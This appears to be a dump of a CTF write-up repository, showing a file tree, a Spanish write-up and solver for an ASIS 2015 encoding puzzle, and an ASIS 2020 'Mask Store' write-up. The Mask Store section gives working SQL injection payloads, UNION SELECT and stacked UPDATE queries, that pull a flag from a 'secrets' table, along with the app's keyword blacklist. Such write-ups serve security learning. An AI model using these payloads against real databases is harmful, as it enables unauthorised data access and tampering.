├── README.md ├── asis-quals-2015 └── simple-algorithm │ ├── README.md │ ├── enc.txt │ ├── simple_algorithm.py │ └── solve.py ├── asis-quals-2020 ├── mask-store │ ├── README.md │ ├── app.py │ └── img │ │ └── maskstore.png └── secure-secrets │ ├── README.md │ ├── configs.zip │ ├── convert.py │ ├── img │ └── less-secure-secrets.png │ └── solve.py ├── cybercamp-final-2017 ├── README.md └── img │ ├── A01-flag.png │ ├── A01-source.png │ ├── A03-flag.png │ ├── A03-hydra.png │ ├── A04-flag.png │ ├── A05-flag.png │ ├── A05-shell.png │ ├── B01-abcd.png │ ├── B01-flag.png │ ├── B01-source.png │ ├── B01-web.png │ ├── B05-flag.png │ ├── X01-dirty-shell.png │ ├── X01-flag.png │ ├── X01-shadow.png │ ├── X01-upload-shell.png │ ├── X02-flag.png │ ├── X03-decoded.png │ ├── X03-file.png │ ├── retos1.png │ ├── retos2.png │ └── retos3.png ├── cybercamp-final-2018 ├── README.md └── img │ ├── 01-flag.png │ ├── 02-flag.png │ ├── 04-apimonitor-user.png │ ├── 05-x64dbg.png │ ├── 06-elevate.png │ ├── 06-file-exfilt.png │ ├── 06-listing.png │ ├── 06-nmap.png │ ├── 06-shell.png │ ├── 07-pass.png │ ├── 07-script.png │ ├── 08-exif1.png │ ├── 08-exif2.png │ ├── 09-level0.png │ ├── 17-blog.png │ ├── 17-flag.png │ ├── 17-interactive-reverse-shell.png │ ├── 17-mysql-service.png │ ├── 17-patatablog.png │ ├── 17-upload-image.png │ ├── 17-wordpress-install.png │ ├── 17-wordpress-plugin.png │ ├── 17-wpconfig-deleted.png │ ├── 18-nikto.png │ ├── 18-nmap.png │ ├── email-exfilt.png │ ├── network.png │ ├── retos1.png │ ├── retos2.png │ └── retos3.png ├── cybercamp-quals-2016 └── web4-patataprinting │ ├── README.md │ └── img │ ├── 01-index.png │ ├── 02-token403.png │ ├── 03-phpmyadmin-login.png │ ├── 04-phpmyadmin-version.png │ ├── 05-phpmyadmin-nodisp.png │ ├── 06-phpmyadmin-versiones.png │ ├── 07-dirsearch.png │ ├── 08-md5-upgrade.png │ ├── 09-translators.png │ ├── 10-solucion.png │ └── 11-phpmyadmin.png ├── cybercamp-quals-2018 ├── 01-toxinas-aereas │ ├── README.md │ └── img │ │ └── wireshark.png ├── 02-vivan-las-vegas │ ├── 1.b64 │ ├── 1.bin │ ├── 1.hash │ ├── 2.b64 │ ├── 2.bin │ ├── README.md │ └── img │ │ └── pgp.png ├── 07-vacaciones │ └── README.md ├── 09-monkey-island │ ├── README.md │ ├── bandera.png │ ├── bandera64.txt │ └── img │ │ ├── piet-execute.png │ │ └── piet.png ├── 11-la-orden-del-temple │ ├── 11.png │ └── README.md ├── 12-seguridad-nacional │ └── README.md ├── 14-rick-hacksley │ ├── README.md │ └── img │ │ └── morse.png └── 15-hack-or-escape │ ├── README.md │ └── img │ ├── BackupProtector.png │ ├── dnspy.png │ ├── evalb.png │ ├── snow.png │ └── vs.png ├── ecsc-2016 └── optimus-prime │ ├── README.md │ ├── README2.md │ ├── files │ ├── key.parts │ ├── my.pub │ └── secret │ └── img │ └── logo.png ├── ecsc-2018 ├── aes1 │ ├── README.md │ ├── crypto-bruteforce.c │ └── files │ │ ├── cipher │ │ ├── crypto │ │ └── crypto.c └── aes2 │ ├── README.md │ ├── crypto-bruteforce.c │ ├── files │ ├── cipher │ └── crypto │ └── img │ └── keygen.jpg ├── fwhibbit-2017 ├── impossible-is-nothing │ ├── README.md │ └── img │ │ ├── 1.png │ │ ├── 10-class.png │ │ ├── 11-ajax.png │ │ ├── 12-wrappers-fail.png │ │ ├── 13-tmpfile-fail.png │ │ ├── 14-symlink-phpinfo.png │ │ ├── 15-wrappers-enabled.png │ │ ├── 16-shell.png │ │ ├── 17-ajax-code.png │ │ ├── 2-system-disabled.png │ │ ├── 3-wrapper-disabled.png │ │ ├── 4-phpinfo.png │ │ ├── 6-socket.jpg │ │ ├── 7-ruby-script.png │ │ ├── 8-flag.png │ │ ├── disable-functions.png │ │ ├── portscan.png │ │ ├── scandir-html.png │ │ └── scandir.png └── wash-your-money │ ├── README.md │ └── img │ ├── 01-web.png │ ├── 02-contact.png │ ├── 03-upload.png │ ├── 04-upload-no-valido.png │ ├── 05-upload-docx.png │ ├── 06-upload-ok.png │ ├── 07-rewrite.png │ ├── 08-fuzzing-parameter.png │ ├── 09-montar-zip.png │ ├── 10-shell.png │ └── 14-flag.png ├── google-ctf-2019 └── gLotto │ ├── README.md │ ├── gLotto-solve.py │ ├── gLotto.php │ ├── gLotto.sql │ └── img │ ├── gLotto-001.png │ └── gLotto-002.png ├── hacker101 ├── README.md ├── img │ ├── hacker101.png │ ├── level00.png │ ├── level01-edit.png │ ├── level01-xss.png │ ├── level01.png │ ├── level02-page3.png │ ├── level02.png │ ├── level03-cbc.png │ ├── level03-cbc2.png │ ├── level03-error.png │ ├── level03-paddingoracle.png │ ├── level03.png │ ├── level05-env.png │ ├── level05.png │ ├── level06-admin.png │ ├── level06-php.png │ ├── level06.png │ ├── level07.png │ ├── level08-badlink.png │ ├── level08-newuser.png │ ├── level08-password.png │ ├── level08-post.png │ ├── level08-posturl.png │ └── level08.png ├── level01.md ├── level02-03-micro-cms.md ├── level04-encrypted-pastebin.md ├── level05-photo-gallery.md ├── level06-blog.md ├── level07-postbook.md ├── level08-ticketastic.md ├── scripts │ ├── level04-encrypted-pastebin │ │ ├── exploit.py │ │ ├── exploit2.py │ │ ├── padding_oracle.py │ │ └── padding_oracle_threads.py │ └── level05-photo-gallery │ │ └── sqli.py └── sources │ ├── level05-photo-gallery │ └── main.py │ └── level06-blog │ ├── 000-default.conf │ ├── Dockerfile │ ├── admin.inc.auth.php │ ├── admin.inc.php │ ├── index.php │ ├── php.ini │ └── setup.sh ├── hackplayers-2018 ├── cisco │ ├── README.md │ └── img │ │ ├── cisco-b374k.png │ │ ├── cisco-cadaver.png │ │ ├── cisco-ssh.png │ │ ├── cisco-web1.png │ │ └── cisco-web2.png ├── jax │ ├── README.md │ └── img │ │ ├── jax-browserexploit.png │ │ ├── jax-dhcpv6.png │ │ ├── jax-elevate.png │ │ ├── jax-firefox.png │ │ ├── jax-nmap2.png │ │ ├── jax-responder-hash.png │ │ ├── jax-responder1.png │ │ ├── jax-winexe.png │ │ └── jax-wireshark-cepheus.png ├── josie │ ├── README.md │ └── img │ │ ├── josie-hnb.png │ │ ├── josie-upload.png │ │ └── josie-web1.png └── sammy │ ├── README.md │ └── img │ ├── sammy-root.png │ └── sammy-shell.png ├── hackplayers-2020 ├── dream-agenda │ ├── README.md │ └── solve.py ├── kojo-no-mai │ └── README.md └── move-the-flag │ ├── README.md │ └── solve.py ├── honeycon-2018 └── rev4 │ ├── README.md │ ├── img │ ├── angr.png │ ├── r2-VV-main.png │ ├── r2-VV.png │ └── solve.png │ ├── rev4 │ └── solve.py ├── huawei-2018 ├── 01-abandoned-silo │ ├── README.md │ ├── img │ │ ├── flag.png │ │ └── web.png │ └── source.php ├── 02-paranormalglitch │ ├── README.md │ └── img │ │ ├── gatos-flag.png │ │ ├── gatos.png │ │ └── png-hex.png ├── 03-backdoors_01 │ ├── README.md │ └── img │ │ ├── vm-error.png │ │ └── vm-flag.png ├── 04-backdoors_02 │ ├── README.md │ └── img │ │ ├── vm-autosolver.png │ │ ├── vm-ls.png │ │ └── vm-ps.png ├── 05-cybercrime101 │ ├── README.md │ └── img │ │ └── malwarecode.png ├── 06-armoured-kitten │ ├── README.md │ ├── img │ │ ├── angr-solve.png │ │ ├── flag.png │ │ ├── flag2.png │ │ ├── reversing-arm.png │ │ └── xrays.png │ ├── re1 │ └── solve.py ├── 07-cryptokenita │ ├── README.md │ ├── huawei-crypto.js │ └── img │ │ ├── flag.png │ │ ├── flag2.png │ │ └── utf.png └── 08-login-denoid │ ├── README.md │ ├── img │ ├── admin-panel.png │ ├── flag.png │ ├── hash-cracking.png │ ├── login-getter.png │ ├── login.png │ ├── loginadmin.png │ ├── sqli-adminpassword.png │ └── sqli-glob-size.png │ └── sqli-boolean-huawei.py ├── hxp-2020 └── heiko │ ├── README.md │ ├── heiko-16fc430532ab60cc.tar.xz │ ├── img │ └── heiko.png │ └── index.php ├── isitdtu-2019 └── EasyPHP │ ├── README.md │ └── img │ ├── phpinfo.jpg │ ├── readfile.jpg │ └── scandir.jpg ├── kernel-2015 ├── crypto300 │ └── README.md └── networking │ ├── README.md │ ├── img │ ├── capturas-teclado.png │ └── usb-cap.png │ └── network300.cap ├── navajanegra-2016 ├── web1-mongojojo │ ├── MongoJojo-threads-bit.py │ ├── MongoJojo-threads.py │ ├── MongoJojo.py │ ├── README.md │ └── img │ │ └── mongojojo.png └── web2-javascript │ ├── README.md │ └── img │ ├── mojojojo-execute.png │ ├── mojojojo-login.png │ ├── mojojojo-solucion.png │ └── mojojojo-terminal.png ├── navajanegra-2019 ├── Gamma-GPS │ ├── README.md │ ├── gamma-gps-source.php │ └── img │ │ ├── gammagps-01.png │ │ ├── gammagps-02.png │ │ ├── gammagps-03.png │ │ ├── gammagps-devel-debug.png │ │ ├── gammagps-flag.png │ │ ├── gammagps-sql.png │ │ └── gammagps-users.png ├── MoonCasino │ ├── README.md │ ├── img │ │ ├── mooncasino-01.png │ │ ├── mooncasino-02-source.png │ │ └── mooncasino-03-flag.png │ └── mooncasino-source.php └── Oracle │ ├── README.md │ ├── app.js │ ├── img │ └── oracle-v1-flag.png │ └── source.js ├── nullcon-2018 └── exploiting1 │ ├── README.md │ ├── img │ ├── exp1-001.png │ ├── exp1-002.png │ ├── exp1-003.png │ ├── exp1-004.png │ └── exp1-source.png │ └── nullcon2018-exp1.py ├── secadmin-2017 └── reversing-angr │ ├── README.md │ ├── ctf.hex │ ├── img │ ├── 01-usage.png │ ├── 02-ctf-hex.png │ ├── 03-fail.png │ ├── angr1.png │ ├── hash-code.png │ ├── hash-modified.png │ ├── hash.png │ ├── print-gdb.png │ ├── print.png │ └── solution1.png │ ├── secadmin │ ├── secadmin-angr.py │ ├── secadmin-bruteforce-6+3.py │ ├── secadmin-bruteforce-recursive.py │ └── secadmin-bruteforce.py ├── seccon-2018 └── GhostKingdom │ ├── README.md │ ├── img │ ├── ghostkingdom-001.png │ ├── ghostkingdom-002.png │ ├── ghostkingdom-003.png │ ├── ghostkingdom-004.png │ ├── ghostkingdom-005.png │ ├── ghostkingdom-006.png │ ├── ghostkingdom-007.png │ ├── ghostkingdom-008.png │ ├── ghostkingdom-009.png │ ├── ghostkingdom-010.png │ ├── ghostkingdom-011.png │ ├── ghostkingdom-012.png │ └── ghostkingdom-flag.png │ ├── seccon-ghostkingdom.py │ └── solve.py └── swamp-ctf-2019 └── cartographers-capture ├── README.md ├── flag.bmp ├── img ├── flag-flip.png ├── flag.png ├── flag0.png └── fuk.jpg ├── ip_addresses.txt ├── paint-decimal.py └── paint-ip.py /README.md: -------------------------------------------------------------------------------- 1 | # CTF Writeups -------------------------------------------------------------------------------- /asis-quals-2015/simple-algorithm/README.md: -------------------------------------------------------------------------------- 1 | # CTF ASIS QUALS 2015 - Simple Algorithm 2 | 3 | ## simple_algorithm.py 4 | 5 | ```python 6 | #!/usr/bin/python 7 | 8 | flag = '[censored]' 9 | hflag = flag.encode('hex') 10 | iflag = int(hflag[2:], 16) 11 | 12 | def FAN(n, m): 13 | i = 0 14 | z = [] 15 | s = 0 16 | while n > 0: 17 | if n % 2 != 0: 18 | z.append(2 - (n % 4)) 19 | else: 20 | z.append(0) 21 | n = (n - z[i])/2 22 | i = i + 1 23 | z = z[::-1] 24 | l = len(z) 25 | for i in range(0, l): 26 | s += z[i] * m ** (l - 1 - i) 27 | return s 28 | 29 | i = 0 30 | r = '' 31 | while i < len(str(iflag)): 32 | d = str(iflag)[i:i+2] 33 | nf = FAN(int(d), 3) 34 | r += str(nf) 35 | i += 2 36 | 37 | print r 38 | ``` 39 | 40 | ## enc.txt 41 | ``` 42 | 2712733801194381163880124319146586498182192151917719248224681364019142438188097307292437016388011943193619457377217328473027324319178428 43 | ``` 44 | 45 | ## Script simple_algorithm 46 | 47 | La primera parte del script convierte el string de la flag en su equivalente en número entero. En esta conversión se pierde el primer carácter de la flag, pero no nos supone un problema al conocer el formato de flag `ASIS{...}`. 48 | 49 | Una vez convertido en entero, se llama a la función FAN con trozos de 2 números y se concatena el resultado. 50 | 51 | ## Función FAN 52 | 53 | En otros writeups de este mismo reto se programa la función inversa a FAN. Una solución mas sencilla y rápida es generar una lista con los 100 valores que toma la función FAN. 54 | 55 | ```python 56 | values = {} 57 | for x in range(0,100): 58 | nf = FAN(int(x), 3) 59 | values[str(nf)] = x 60 | ``` 61 | 62 | La función FAN recibe un número del 0 al 99 y genera un número de 1 a 4 dígitos. 63 | 64 | ``` 65 | 0 0 66 | 1 1 67 | 2 3 68 | 3 8 69 | 4 9 70 | 5 10 71 | 6 24 72 | ... 73 | 97 1945 74 | 98 1947 75 | 99 1952 76 | ``` 77 | 78 | ## Colisiones 79 | 80 | Debido a como funciona la función FAN, la salida de esta no tiene una longitud fija, lo que nos dificulta recuperar la flag original. 81 | 82 | Es posible solucionar este problema de 2 formas distintas. 83 | 84 | La mas sencilla es procesar los números desde el final al principio, de esta forma se evitan la mayoría de colisiones. 85 | 86 | La forma compleja, pero mas adecuada, es guardar el historial de acciones realizadas y volver hacia atrás cuando se llega a un punto muerto. 87 | 88 | ```python 89 | i = 0 90 | estados = [] 91 | out = [] 92 | fail = None 93 | while i < len(enc): 94 | for l in [4,3,2,1]: 95 | if fail!=None and l>=fail: continue 96 | nf = enc[i:i+l] 97 | if nf in values: 98 | fail = None 99 | estados.append((i,l)) 100 | i += l 101 | out.append("%02d" % int(values[nf])) 102 | break 103 | else: 104 | (i,fail) = estados.pop() 105 | out.pop() 106 | ``` 107 | 108 | El ultimo problema que se nos presenta ocurre cuando el ultimo número que se le pasa la función FAN en el momento de codificar es de un solo dígito. Ocurre que al reversear el algoritmo, el ultimo elemento que obtenemos es `09`, que en realidad es únicamente `9`. 109 | 110 | ```python 111 | if out[-1][0]=='0': 112 | out[-1] = out[-1][1] 113 | ``` 114 | 115 | [solve.py](https://github.com/jesux/ctf-write-ups/blob/master/asis-quals-2015/simple-algorithm/solve.py) 116 | 117 | Por último, obtenemos parte de la flag, y al añadir el primer caracter queda `ASIS{a9ab115c488a311896dac4e8bc20a6d7}` -------------------------------------------------------------------------------- /asis-quals-2015/simple-algorithm/enc.txt: -------------------------------------------------------------------------------- 1 | 65819201244739701819269267215732341080193590657811164519417301936373880289739818208138197212677020753727197872193419442718 -------------------------------------------------------------------------------- /asis-quals-2015/simple-algorithm/simple_algorithm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | flag = '[CENSORED]' 4 | hflag = flag.encode('hex') 5 | iflag = int(hflag[2:], 16) 6 | 7 | def FAN(n, m): 8 | i = 0 9 | z = [] 10 | s = 0 11 | while n > 0: 12 | if n % 2 != 0: 13 | z.append(2 - (n % 4)) 14 | else: 15 | z.append(0) 16 | n = (n - z[i])/2 17 | i = i + 1 18 | z = z[::-1] 19 | l = len(z) 20 | for i in range(0, l): 21 | s += z[i] * m ** (l - 1 - i) 22 | return s 23 | 24 | i = 0 25 | r = '' 26 | while i < len(str(iflag)): 27 | d = str(iflag)[i:i+2] 28 | nf = FAN(int(d), 3) 29 | r += str(nf) 30 | i += 2 31 | 32 | print r 33 | -------------------------------------------------------------------------------- /asis-quals-2015/simple-algorithm/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | def FAN(n, m): 4 | i = 0 5 | z = [] 6 | s = 0 7 | while n > 0: 8 | if n % 2 != 0: 9 | z.append(2 - (n % 4)) 10 | else: 11 | z.append(0) 12 | n = (n - z[i])/2 13 | i = i + 1 14 | z = z[::-1] 15 | l = len(z) 16 | for i in range(0, l): 17 | s += z[i] * m ** (l - 1 - i) 18 | return s 19 | 20 | values = {} 21 | for x in range(0,100): 22 | nf = FAN(int(x), 3) 23 | values[str(nf)] = x 24 | 25 | enc = '2712733801194381163880124319146586498182192151917719248224681364019142438188097307292437016388011943193619457377217328473027324319178428' 26 | 27 | i = 0 28 | estados = [] 29 | out = [] 30 | fail = None 31 | while i < len(enc): 32 | for l in [4,3,2,1]: 33 | if fail!=None and l>=fail: continue 34 | nf = enc[i:i+l] 35 | if nf in values: 36 | fail = None 37 | estados.append((i,l)) 38 | i += l 39 | out.append("%02d" % int(values[nf])) 40 | break 41 | else: 42 | (i,fail) = estados.pop() 43 | out.pop() 44 | 45 | if out[-1][0]=='0': 46 | out[-1] = out[-1][1] 47 | 48 | iflag = ''.join(out) 49 | hflag = '%x' % int(iflag) 50 | 51 | if len(hflag)%2==1: 52 | hflag = '0'+hflag 53 | flag = hflag.decode('hex') 54 | print(flag) 55 | -------------------------------------------------------------------------------- /asis-quals-2020/mask-store/README.md: -------------------------------------------------------------------------------- 1 | # ASIS CTF 2020 - Mask Store 2 | ## Web 3 | 4 | [App source](app.py) 5 | 6 | ### SQLi and Blacklist 7 | The application is vulnerable to SQL injection in `/panel?orderid` 8 | 9 | The orderid parameter does not allow the use of any of these words 10 | ```python 11 | blacklist = ["information_schema","users","processlist","load","insert","into","mysql","innodb","benchmark","sleep","md5","sha","password"] 12 | ``` 13 | We use `group_concat` to get a list of all orders. 14 | ``` 15 | /panel?orderid='UNION SELECT 1,group_concat(concat('|',id,'|')) FROM orders -- - 16 | |97ff-7337b9f98d67|,|a876-4717a0000009|,|fadd-n3b5b3a99d09| 17 | ``` 18 | 19 | ### Admin interaction 20 | We do not have privileges to interact with the entire database at this injection point, we need an administrator to visit our profile where we will enter the injection as our profile image. 21 | 22 | ```python 23 | if("username" in session and "id" in session and session["username"] == ADMIN_USERNAME and session["id"] == ADMIN_ID): 24 | cur = cursor 25 | else: 26 | cur = sandboxedCursor 27 | ``` 28 | 29 | ### Testing Stacked Queries Update 30 | The library used to make the MySQL requests could be vulnerable to Stacked Queries, allowing us to perform an INSERT or UPDATE query. 31 | 32 | We tried to modify the id (the only field we know) of an order to 'PATATA'. 33 | 34 | `?orderid=';UPDATE orders SET id='PATATA' WHERE id='fadd-n3b5b3a99d09' -- -` 35 | 36 | We consulted the article 'PATATA' with satisfactory results. 37 | ``` 38 | /panel?orderid=PATATA 39 |

40 | Status:
41 | Description: 42 | 43 |

44 | ``` 45 | `|97ff-7337b9f98d67|,|a876-4717a0000009|,|PATATA|` 46 | 47 | 48 | ### Get Flag 49 | 50 | As we do not know the size of the `id` field in the `secrets` table, we only enter 17 characters, also, by doing it in 2 parts we avoid that another team reads the flag if it casually lists the orders at that same moment 51 | 52 | `';UPDATE orders set id=(SELECT substr(group_concat(flag),1,17) FROM secrets) WHERE id='PATATA' LIMIT 1 -- -` 53 | 54 | ![](img/maskstore.png) 55 | 56 | `|97ff-7337b9f98d67|,|a876-4717a0000009|,|ASIS{0hhhhhhhhH_y|` 57 | 58 | `';UPDATE orders set id=(SELECT substr(group_concat(flag),18,17) FROM secrets) WHERE id LIKE 'ASIS%' LIMIT 1 -- -` 59 | 60 | `|97ff-7337b9f98d67|,|a876-4717a0000009|,|0U_G07_m3}|` 61 | 62 | ### Delete Flag 63 | 64 | The last step is to restore the initial order ID to prevent another team from discovering the unintended solution. 65 | 66 | `';UPDATE orders set id='fadd-n3b5b3a99d09' WHERE id LIKE '0%' -- -` 67 | -------------------------------------------------------------------------------- /asis-quals-2020/mask-store/img/maskstore.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/asis-quals-2020/mask-store/img/maskstore.png -------------------------------------------------------------------------------- /asis-quals-2020/secure-secrets/configs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/asis-quals-2020/secure-secrets/configs.zip -------------------------------------------------------------------------------- /asis-quals-2020/secure-secrets/convert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys, os 5 | if sys.version_info.major<3: 6 | print("Python3 required") 7 | sys.exit(0) 8 | 9 | letters = { 10 | '0': 'PHP_ZTS', 11 | '1': 'E_ERROR', 12 | '2': 'E_WARNING', 13 | '3': 'ZLIB_RLE', 14 | '4': 'E_PARSE', 15 | '5': 'ZLIB_BLOCK', 16 | '6': 'INPUT_SESSION', 17 | '7': 'UPLOAD_ERR_CANT_WRITE', 18 | '8': 'E_NOTICE', 19 | '9': 'IMAGETYPE_JPC', 20 | 21 | 'A': 'OPENSSL_DEFAULT_STREAM_CIPHERS[E_NOTICE]', 22 | 'C': 'OPENSSL_DEFAULT_STREAM_CIPHERS[E_ERROR]', 23 | 'D': 'OPENSSL_DEFAULT_STREAM_CIPHERS[E_WARNING]', 24 | 'E': 'OPENSSL_DEFAULT_STREAM_CIPHERS[PHP_ZTS]', 25 | 'G': 'OPENSSL_DEFAULT_STREAM_CIPHERS[IMAGETYPE_ICO]', 26 | 'H': 'OPENSSL_DEFAULT_STREAM_CIPHERS[ZLIB_RLE]', 27 | 'I': 'OPENSSL_DEFAULT_STREAM_CIPHERS[ZLIB_BLOCK.E_PARSE.E_WARNING]', 28 | 'L': 'PHP_OS[PHP_ZTS]', 29 | 'M': 'OPENSSL_DEFAULT_STREAM_CIPHERS[E_ERROR.IMAGETYPE_JPC]', 30 | 'N': 'OPENSSL_DEFAULT_STREAM_CIPHERS[ZLIB_BLOCK.ZLIB_BLOCK.ZLIB_BLOCK]', 31 | 'O': 'OPENSSL_VERSION_TEXT[PHP_ZTS]', 32 | 'P': 'DATE_ATOM[E_ERROR.E_WARNING]', 33 | 'R': 'OPENSSL_DEFAULT_STREAM_CIPHERS[INPUT_SESSION]', 34 | 'S': 'OPENSSL_VERSION_TEXT[E_PARSE]', 35 | 'T': 'DATE_ATOM[INPUT_SESSION]', 36 | 'U': 'OPENSSL_DEFAULT_STREAM_CIPHERS[ZLIB_BLOCK.ZLIB_BLOCK.INPUT_SESSION]', 37 | 'X': 'OPENSSL_DEFAULT_STREAM_CIPHERS[ZLIB_BLOCK.INPUT_SESSION.IMAGETYPE_JPC]', 38 | 'Y': 'DATE_ATOM[PHP_ZTS]', 39 | 40 | '/': 'DIRECTORY_SEPARATOR', 41 | '/': 'PHP_LIBDIR[PHP_ZTS]', 42 | '-': 'PHP_SAPI[ZLIB_RLE]', 43 | '_': '_::class', 44 | '.': 'DEFAULT_INCLUDE_PATH[PHP_ZTS]', 45 | ':': 'DEFAULT_INCLUDE_PATH[E_ERROR]', 46 | 'a': 'PHP_LIBDIR[E_NOTICE]', 47 | 'b': 'PHP_LIBDIR[ZLIB_BUF_ERROR]', 48 | 'c': 'PHP_SAPI[ZLIB_BLOCK]', 49 | 'd': 'PHP_CONFIG_FILE_SCAN_DIR[ZLIB_ERRNO]', 50 | 'e': 'PHP_DATADIR[PHP_FLOAT_DIG]', 51 | 'f': 'PHP_SAPI[PHP_ZTS]', 52 | 'g': 'PHP_SAPI[INPUT_SESSION]', 53 | 'h': 'PHP_LIBDIR[ZLIB_STREAM_ERROR]', 54 | 'i': 'PHP_OS[E_ERROR]', 55 | 'k': 'ICONV_IMPL[ZLIB_RLE]', 56 | 'l': 'PHP_LIBDIR[ZLIB_BLOCK]', 57 | 'm': 'PHP_SAPI[E_WARNING]', 58 | 'n': 'PHP_OS[E_WARNING]', 59 | 'o': 'PHP_LIBDIR[INPUT_SESSION]', 60 | 'p': 'PHP_SAPI[E_ERROR]', 61 | 'r': 'PHP_LIBDIR[ZLIB_RLE]', 62 | 's': 'PHP_LIBDIR[E_WARNING]', 63 | 't': 'PHP_SYSCONFDIR[POSIX_RLIMIT_MSGQUEUE]', 64 | 'u': 'PHP_OS[ZLIB_RLE]', 65 | 'v': 'PHP_LOCALSTATEDIR[ZLIB_DATA_ERROR]', 66 | 'w': 'ICONV_IMPL[ZLIB_BLOCK]', 67 | 'x': 'PHP_OS[E_PARSE]', 68 | 'z': 'PHP_EXTENSION_DIR[CURLOPT_NOBODY]' 69 | } 70 | 71 | if(len(sys.argv)>1): 72 | arr = [] 73 | for c in sys.argv[1]: 74 | if c not in letters: 75 | print("Error: %c not in dict" % c) 76 | else: 77 | arr.append(letters[c]) 78 | print('.'.join(arr)) 79 | -------------------------------------------------------------------------------- /asis-quals-2020/secure-secrets/img/less-secure-secrets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/asis-quals-2020/secure-secrets/img/less-secure-secrets.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A01-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A01-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A01-source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A01-source.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A03-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A03-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A03-hydra.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A03-hydra.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A04-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A04-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A05-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A05-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/A05-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/A05-shell.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/B01-abcd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/B01-abcd.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/B01-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/B01-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/B01-source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/B01-source.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/B01-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/B01-web.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/B05-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/B05-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X01-dirty-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X01-dirty-shell.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X01-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X01-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X01-shadow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X01-shadow.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X01-upload-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X01-upload-shell.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X02-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X02-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X03-decoded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X03-decoded.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/X03-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/X03-file.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/retos1.png: -------------------------------------------------------------------------------- 